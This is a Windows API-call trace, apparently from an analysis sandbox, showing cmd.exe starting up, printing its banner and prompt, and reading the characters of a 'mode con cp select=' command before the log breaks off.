	[0036.273] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xae8) returned 0x18c230
	[0036.273] FreeEnvironmentStringsW (penv=0x18b740) returned 1
	[0036.273] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a7dc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0036.274] GetProcessHeap () returned 0x170000
	[0036.274] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18b6d0 | out: hHeap=0x170000) returned 1
	[0036.274] GetProcessHeap () returned 0x170000
	[0036.274] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x4016) returned 0x18cd20
	[0036.274] GetProcessHeap () returned 0x170000
	[0036.274] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd20 | out: hHeap=0x170000) returned 1
	[0036.274] GetConsoleOutputCP () returned 0x1b5
	[0036.274] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a7dbfe0 | out: lpCPInfo=0x4a7dbfe0) returned 1
	[0036.274] GetUserDefaultLCID () returned 0x409
	[0036.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a7d7b50, cchData=8 | out: lpLCData=":") returned 2
	[0036.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x15fbc0, cchData=128 | out: lpLCData="0") returned 2
	[0036.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x15fbc0, cchData=128 | out: lpLCData="0") returned 2
	[0036.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x15fbc0, cchData=128 | out: lpLCData="1") returned 2
	[0036.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a7ea740, cchData=8 | out: lpLCData="/") returned 2
	[0036.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a7ea4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0036.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a7ea460, cchData=32 | out: lpLCData="Tue") returned 4
	[0036.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a7ea420, cchData=32 | out: lpLCData="Wed") returned 4
	[0036.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a7ea3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0036.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a7ea3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0036.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a7ea360, cchData=32 | out: lpLCData="Sat") returned 4
	[0036.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a7ea700, cchData=32 | out: lpLCData="Sun") returned 4
	[0036.275] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a7d7b40, cchData=8 | out: lpLCData=".") returned 2
	[0036.275] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a7ea4e0, cchData=8 | out: lpLCData=",") returned 2
	[0036.275] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0036.276] GetProcessHeap () returned 0x170000
	[0036.276] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20c) returned 0x1895c0
	[0036.276] GetConsoleTitleW (in: lpConsoleTitle=0x1895c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0036.277] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.277] GetFileType (hFile=0xf4) returned 0x3
	[0036.278] BrandingFormatString () returned 0x1897e0
	[0036.289] GetVersion () returned 0x1db10106
	[0036.289] _vsnwprintf (in: _Buffer=0x15fd30, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x15fcc8 | out: _Buffer="6.1.7601") returned 8
	[0036.289] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.289] GetFileType (hFile=0xf4) returned 0x3
	[0036.289] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a7e6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e
	[0036.289] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a7e6340, nSize=0x2000, Arguments=0x15fcd0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24
	[0036.290] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.290] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a7dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37
	[0036.290] WriteFile (in: hFile=0xf4, lpBuffer=0x4a7dc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x15fc58, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesWritten=0x15fc58*=0x24, lpOverlapped=0x0) returned 1
	[0036.290] _vsnwprintf (in: _Buffer=0x4a7e6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x15fcf8 | out: _Buffer="\r\n") returned 2
	[0036.290] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.290] GetFileType (hFile=0xf4) returned 0x3
	[0036.290] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.290] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a7dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0036.290] WriteFile (in: hFile=0xf4, lpBuffer=0x4a7dc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x15fcc8, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesWritten=0x15fcc8*=0x2, lpOverlapped=0x0) returned 1
	[0036.290] _vsnwprintf (in: _Buffer=0x4a7e6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x15fcf8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation.  All rights reserved.") returned 63
	[0036.290] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.290] GetFileType (hFile=0xf4) returned 0x3
	[0036.290] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.290] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation.  All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a7dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation.  All rights reserved.", lpUsedDefaultChar=0x0) returned 64
	[0036.290] WriteFile (in: hFile=0xf4, lpBuffer=0x4a7dc320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x15fcc8, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesWritten=0x15fcc8*=0x3f, lpOverlapped=0x0) returned 1
	[0036.290] _vsnwprintf (in: _Buffer=0x4a7e6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x15fcf8 | out: _Buffer="\r\n") returned 2
	[0036.290] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.290] GetFileType (hFile=0xf4) returned 0x3
	[0036.290] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.290] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a7dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0036.290] WriteFile (in: hFile=0xf4, lpBuffer=0x4a7dc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x15fcc8, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesWritten=0x15fcc8*=0x2, lpOverlapped=0x0) returned 1
	[0036.290] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000
	[0036.290] GetProcAddress (hModule=0x76e30000, lpProcName="CopyFileExW") returned 0x76e423d0
	[0036.290] GetProcAddress (hModule=0x76e30000, lpProcName="IsDebuggerPresent") returned 0x76e38290
	[0036.291] GetProcAddress (hModule=0x76e30000, lpProcName="SetConsoleInputExeNameW") returned 0x76e417e0
	[0036.291] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.291] GetFileType (hFile=0xe8) returned 0x3
	[0036.291] _setmode (_FileHandle=0, _Mode=32768) returned 16384
	[0036.291] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x15fb20 | out: TokenHandle=0x15fb20*=0x0) returned 0xc000007c
	[0036.291] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x15fb20 | out: TokenHandle=0x15fb20*=0x50) returned 0x0
	[0036.291] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x15fb30, TokenInformationLength=0x4, ReturnLength=0x15fb38 | out: TokenInformation=0x15fb30, ReturnLength=0x15fb38) returned 0x0
	[0036.291] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x15fb38, TokenInformationLength=0x4, ReturnLength=0x15fb30 | out: TokenInformation=0x15fb38, ReturnLength=0x15fb30) returned 0x0
	[0036.291] NtClose (Handle=0x50) returned 0x0
	[0036.291] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x15fb00, nSize=0x0, Arguments=0x15fb08 | out: lpBuffer="\x97e0\x18") returned 0xf
	[0036.291] GetProcessHeap () returned 0x170000
	[0036.291] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x218) returned 0x171ab0
	[0036.291] GetConsoleTitleW (in: lpConsoleTitle=0x15fb50, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0036.291] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0
	[0036.291] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1
	[0036.292] GetProcessHeap () returned 0x170000
	[0036.292] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x171ab0 | out: hHeap=0x170000) returned 1
	[0036.292] LocalFree (hMem=0x1897e0) returned 0x0
	[0036.292] GetProcessHeap () returned 0x170000
	[0036.292] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18aa10 | out: hHeap=0x170000) returned 1
	[0036.293] _vsnwprintf (in: _Buffer=0x4a7e6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x15f838 | out: _Buffer="\r\n") returned 2
	[0036.293] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.293] GetFileType (hFile=0xf4) returned 0x3
	[0036.293] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a7dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0036.293] WriteFile (in: hFile=0xf4, lpBuffer=0x4a7dc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x15f808, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesWritten=0x15f808*=0x2, lpOverlapped=0x0) returned 1
	[0036.293] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a7cf360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0036.293] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a7dc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0036.293] _vsnwprintf (in: _Buffer=0x4a7ceb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x15f848 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37
	[0036.293] _vsnwprintf (in: _Buffer=0x4a7cebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x15f848 | out: _Buffer=">") returned 1
	[0036.293] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.293] GetFileType (hFile=0xf4) returned 0x3
	[0036.293] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a7dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39
	[0036.293] WriteFile (in: hFile=0xf4, lpBuffer=0x4a7dc320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x15f838, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesWritten=0x15f838*=0x26, lpOverlapped=0x0) returned 1
	[0036.293] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.293] GetFileType (hFile=0xe8) returned 0x3
	[0036.293] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.293] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.293] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.294] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de320, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0036.294] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.294] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.294] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.294] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de322, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0036.294] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.294] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.294] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.294] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de324, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0036.295] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.295] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.295] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de326, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0036.295] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.295] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.295] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0036.295] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.295] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.295] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0036.295] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.295] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.295] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0036.295] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.295] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.295] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0036.295] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.295] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.295] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0036.295] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.295] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.296] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.296] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de332, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0036.296] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.296] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.296] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.296] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de334, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0036.296] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.296] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.296] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.296] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0036.296] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.296] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.296] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.296] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de338, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0036.296] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.296] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.296] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.296] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0036.296] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.296] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.296] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.296] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0036.296] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.296] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.296] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.296] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0036.296] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.296] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.297] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.297] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de340, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0036.297] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.297] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.297] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.297] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de342, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0036.297] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.297] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.297] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.297] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de344, cchWideChar=1 | out: lpWideCharStr="=") returned 1
	[0036.297] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.297] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.297] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
